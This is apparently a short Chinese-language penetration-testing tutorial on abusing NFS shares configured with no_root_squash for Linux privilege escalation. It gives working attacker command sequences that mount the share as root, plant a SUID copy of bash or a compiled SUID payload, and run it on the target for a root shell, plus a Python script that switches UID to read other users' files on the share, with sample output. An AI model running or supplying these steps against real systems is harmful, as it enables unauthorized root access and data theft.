阅读 NFS 的配置文件,可能会发现某个目录配置为 no_root_squash ,那么你可以作为客户端访问并在该目录中写入

  • no_root_squash :当客户端以 root 用户访问时,服务端会给与 root 权限
  • no_all_squash : 访客被映射为服务器上相同 UID 的用户

远程利用

  • 在客户端挂载该目录,并以 root 身份在挂载的文件夹上复制 /bin/bash 二进制文件并赋予 SUID 权限,然后在受害机器上执行
  1. # Attacker, as root user
  2. mkdir /tmp/pe
  3. mount -t nfs <IP>:<SHARED_FOLDER> /tmp/pe
  4. cd /tmp/pe
  5. cp /bin/bash .
  6. chmod +s bash
  7. # 目标机器
  8. cd <SHAREDD_FOLDER>
  9. ./bash -p #ROOT shell
  • 使用 root 身份挂载该目录,编译滥用 SUID 的 payload 复制到文件夹中,赋予 SUID 权限,并从受害机器执行该二进制文件, 二进制文件 payload
  1. # Attacker, as root user
  2. gcc payload.c -o payload
  3. mkdir /tmp/pe
  4. mount -t nfs <IP>:<SHARED_FOLDER> /tmp/pe
  5. cd /tmp/pe
  6. cp /tmp/payload .
  7. chmod +s payload
  8. # 目标机器
  9. cd <SHAREDD_FOLDER>
  10. ./payload #ROOT shell

本地漏洞利用

这种情况是为了防止文件执行 IP ,这样我们就无法使用远程攻击,

看不懂,查看原文 —> 链接

NFSEHLL

一旦称为目标机上的 root 用户,我们就可以查看 NFS 共享以获取一些文件,但是共享的用户都有自己的 UID ,由于 UID 不匹配,就算 root 也无法读取,所以我们可以在所需的 SHELL 命令执行之前执行一段命令来设置我的 uid:

  1. #!/usr/bin/env python
  2. import sys
  3. import os
  4. def get_file_uid(filepath):
  5. try:
  6. uid = os.stat(filepath).st_uid
  7. except OSError as e:
  8. return get_file_uid(os.path.dirname(filepath))
  9. return uid
  10. filepath = sys.argv[-1]
  11. uid = get_file_uid(filepath)
  12. os.setreuid(uid, uid) # 设置当前进程的真实有效用户 id
  13. os.system(' '.join(sys.argv[1:]))

然后我们就可以正常执行命令一样进行执行

  1. [root@machine .tmp]# ll ./mount/
  2. drwxr-x--- 6 1008 1009 1024 Apr 5 2017 9.3_old
  3. [root@machine .tmp]# ls -la ./mount/9.3_old/
  4. ls: cannot open directory ./mount/9.3_old/: Permission denied
  5. [root@machine .tmp]# ./nfsh.py ls --color -l ./mount/9.3_old/
  6. drwxr-x--- 2 1008 1009 1024 Apr 5 2017 bin
  7. drwxr-x--- 4 1008 1009 1024 Apr 5 2017 conf
  8. drwx------ 15 1008 1009 1024 Apr 5 2017 data
  9. drwxr-x--- 2 1008 1009 1024 Apr 5 2017 install